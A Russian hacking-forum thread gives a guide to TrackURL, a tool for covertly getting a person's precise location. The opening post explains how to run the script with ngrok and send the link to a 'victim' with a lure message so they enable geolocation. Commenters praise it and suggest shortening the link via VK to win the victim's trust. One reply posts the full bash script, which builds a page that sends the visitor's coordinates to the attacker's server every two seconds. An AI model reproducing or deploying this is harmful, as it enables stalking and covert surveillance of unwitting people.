Вычисляем точный адрес человека (TrackURL)

ilya192810 · 20 май 2018

В данном гайде мы будем использовать Kali Linux, но подойдет почти любой дистрибутив Linux.
Итак, приступим:
С GitHub(а) официальный репозиторий удалили, поэтому качаем этот архив http://rgho.st/8gSWBqLyp и распаковываем в папку root (домашняя папка)
Прописываем в терминале:

cd TrackUrl

Код

cd TrackUrl

./TrackUrl.sh

Код

./TrackUrl.sh

В окне ngrok копируете https ссылку и вставляете в окно терминала с запущенным скриптом ./TrackUrl
После этого отправляете данную ссылку с текстом типа
-"Привет, это твоя девушка(парень)???"
И тут она открывает сайт, и обязательно нужно чтобы жертва включила геолокацию!
Ну и в логах начнут отображаться координаты, вставляете их в google maps, и все!
Очень старался, надеюсь на вашу поддержку (ну вы поняли)

KoT_HapKoMaH · 20 май 2018

Если на айфоне жертва откроет ссылку, сработает?

Antihype_Veka · 20 май 2018

KoT_HapKoMaH Если на айфоне жертва откроет ссылку, сработает?
Нажмите, чтобы раскрыть...

Да

0deleted0 · 20 май 2018

Блять тупо с видоса спиздил
Оригинал:

ilya192810 · 20 май 2018

KoT_HapKoMaH Если на айфоне жертва откроет ссылку, сработает?
Нажмите, чтобы раскрыть...

Все зависит от настроек геолокации, если жертва подтвердит геолокацию , то да

AMPIR_inactive19540 · 20 май 2018

Годно)

0deleted0 · 20 май 2018

ilya192810 В данном гайде мы будем использовать Kali Linux, но подойдет почти любой дистрибутив Linux.

Очень старался, [/QUOTE]
Угу переписать текст видоса
Нажмите, чтобы раскрыть...

ilya192810 · 20 май 2018

0deleted0 Блять тупо с видоса спиздил
Нажмите, чтобы раскрыть...

Может кому то удобнее в текстовом виде, тем более я придумал 100% переход по ссылке

ilya192810 · 28 май 2018

AMPIR_inactive19540 Годно)
Нажмите, чтобы раскрыть...

Спасибо

Doom47 · 31 май 2018

Ну тут же уже нужны навыки СИ, сомневаюсь что найдутся настолько "обращованыео" люди включающие геолокацию везде подряд.

AZEOME · 2 июн 2018

Очень-очень годно, автору респект!

AZEOME · 2 июн 2018

Скажу мнение, я протестировал, просто ВАУ. Это оч круто, т.к. ссылку можно сократить через ВК, что дает доверие жертве, вк не палит, просто шикарно :)

AZEOME · 2 июн 2018

@vikka9921, стоп, я допустим не знал, да и овера не смотрю, ибо бесит. Ну скопипастил он, бывает. Зато мне теперь известен скрипт, который оч удобный. Ну ладно, дело ваше, разбирайтесь сами.

kvaDrug · 3 июн 2018

Несколько смущает отсутствие исходного кода.

Helex_inactive426686 · 3 июн 2018

Не плохо

Invertor · 3 июн 2018

kvaDrug Несколько смущает отсутствие исходного кода.
Нажмите, чтобы раскрыть...

.-.
#!/bin/bash

#64_bit
#xterm -e ./ngrok_64 http 80 & clear

#32_Bit
xterm -e ./ngrok http 80 & clear

echo " ______________________________________________________
7 77 _ 77 _ 77 77 7 77 7 77 _ 77 7
!__ __!| _|| _ || ___!| __!| | || _|| |
7 7 | _ \ | 7 || 7___| || | || _ \ | !___
| | | 7 || | || 7| 7 || ! || 7 || 7
!__! !__!__!!__!__!!_____!!__!__!!_____!!__!__!!_____!
"
sleep 5
read -p ' URL: ' varurl
echo "<!DOCTYPE html>
<html>
<head>
<title>Z-HACKER</title>
<style type=\"text/css\">

body {
background-image: url(\"skull.jpg\");
background-size: 1000px 1600px;
background-repeat: no-repeat;
}
</style>
</head>
<body>
<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js\" type='text/javascript' ></script>
<script type='text/javascript'>
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( \"GET\", theUrl, false ); // false for synchronous request
xmlHttp.send( null );
return xmlHttp.responseText;
}
function autoUpdate() {
navigator.geolocation.getCurrentPosition(function(position) {
coords = position.coords.latitude + \",\" + position.coords.longitude;
url = \""$varurl"/logme/\" + coords;
httpGet(url);
console.log('should be working');
setTimeout(autoUpdate, 2000);
})
};
\$(document).ready(function(){
autoUpdate();
});
</script>
</body>
</html>" > index.html

mv index.html /var/www/html/index.html
cp skull.jpg /var/www/html/skull.jpg
service apache2 start
echo " ______________________________________________________
7 77 _ 77 _ 77 77 7 77 7 77 _ 77 7
!__ __!| _|| _ || ___!| __!| | || _|| |
7 7 | _ \ | 7 || 7___| || | || _ \ | !___
| | | 7 || | || 7| 7 || ! || 7 || 7
!__! !__!__!!__!__!!_____!!__!__!!_____!!__!__!!_____!
" > /var/log/apache2/access.log
xterm -e tail -f /var/log/apache2/access.log &
clear
exit

Код
#!/bin/bash



#64_bit

#xterm -e ./ngrok_64 http 80 & clear



#32_Bit

xterm -e ./ngrok http 80 & clear





echo "            ______________________________________________________  

            7      77  _  77  _  77     77  7  77  7  77  _  77  7  

            !__  __!|    _||  _  ||  ___!|   __!|  |  ||    _||  |  

              7  7  |  _ \ |  7  ||  7___|     ||  |  ||  _ \ |  !___

              |  |  |  7  ||  |  ||     7|  7  ||  !  ||  7  ||     7

              !__!  !__!__!!__!__!!_____!!__!__!!_____!!__!__!!_____!

                                                                     "

sleep 5

read -p '           URL: ' varurl

echo "<!DOCTYPE html>

<html>

    <head>

        <title>Z-HACKER</title>

        <style type=\"text/css\">

           

            body {

                background-image: url(\"skull.jpg\");

                background-size: 1000px 1600px;

                background-repeat: no-repeat;

            }

        </style>

    </head>

    <body>

        <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js\" type='text/javascript' ></script>

        <script type='text/javascript'>

        function httpGet(theUrl)

        {

            var xmlHttp = new XMLHttpRequest();

            xmlHttp.open( \"GET\", theUrl, false ); // false for synchronous request

            xmlHttp.send( null );

            return xmlHttp.responseText;

        }

        function autoUpdate() {

          navigator.geolocation.getCurrentPosition(function(position) {

            coords = position.coords.latitude + \",\" + position.coords.longitude;

             url = \""$varurl"/logme/\" + coords;

            httpGet(url);

            console.log('should be working');

            setTimeout(autoUpdate, 2000);

        })

        };

        \$(document).ready(function(){

           autoUpdate();

        });

        </script>

    </body>

</html>" > index.html



mv index.html /var/www/html/index.html

cp skull.jpg /var/www/html/skull.jpg

service apache2 start

echo "         ______________________________________________________  

         7      77  _  77  _  77     77  7  77  7  77  _  77  7  

         !__  __!|    _||  _  ||  ___!|   __!|  |  ||    _||  |  

           7  7  |  _ \ |  7  ||  7___|     ||  |  ||  _ \ |  !___

           |  |  |  7  ||  |  ||     7|  7  ||  !  ||  7  ||     7

           !__!  !__!__!!__!__!!_____!!__!__!!_____!!__!__!!_____!

                                                                  " > /var/log/apache2/access.log

xterm -e tail -f /var/log/apache2/access.log &

clear

exit

kvaDrug · 3 июн 2018

Если бы ты был внимательнее, то заметил бы в каталоге две программы: ngrok_64 и ngrok. То что ты процитировал - bash скрипт который их вызывает.

Короче, однопочечные скачивая эту херь вы выполняете у себя на компе бинарный файлик неизвестного содержания.

Бтв, у меня не заработала эта херь, 3-е окно не открылось, что-то не запустилось видимо.

В принципе подобную херь можно реализовать самому, нужно просто запустить сервак у себя, захостить сайт из одной картинки и юзать АПИ браузеров.

П.С. Мдауш, слово "херь" 3 раза подряд. Пора идти спать, а то уровень красноречия упал до нуля.

EnemySM · 28 июн 2018

Может кто пререзалить? Репозиторий удалили.

Exh4 · 28 июн 2018

опана годнота спасибо буду юзать

7Kizzzy7 · 1 июл 2018

ilya192810, У меня пишет отказано в доступе, как это убрать?

Форк бомба на Linux.

Есть статьи по maltego?

Пробиваем людей по номеру

Гейминг на Linux: миф или реальность?

Подглядываем за чужой вебкой [Kali Linux]

Разведка для pentesta | принципы разведки | инструменты для разведки

****им RDP, SSH, VNC с помощью Crowbar

Как поиграть в игры на linux лёгкий способ

КАК ХАЦНУТЬ wi-fi?

Базовая информация по сетевому взаимодействию

Установка kali linux на android (termux)

Как установить Kali Linux на флешку с сохранением и без + переходом Gnub ? Мини-Гайд

Взлом ПК с помощью GIF

Взламываем сайты за 5 минут [ Kali Linux ]

Взлом любого телефона Android за пару минут

Создание бэкдора HTTP-сервера Apache

Базовая эскалация привелегий (PrivEsc)

Браузер в консоли Linux

Среда Kali Nethunter в Termux (Перезалив)

[ Kali Linux ] Роняем сайты c помощью "Xerses"

Площадки по пентесту в 2024 году

Взлом Андроид телефона

Взлом Android с помощью Kali (Удаленно)

Решение проблемы подключения ардуино к Ubuntu

Быстрый анализатор ссылок PIDRILA (лучше чем Dirb)

Memcrashed ddos termux

Инструкция по использованию Wifite

Инструменты Kali Linux: мощь тестирования и безопасности (Новичкам)

Установка Python нужной версии на Kali Linux

Взлом/перебор логин-панелей Wordpress

Вычисляем точный адрес человека (TrackURL)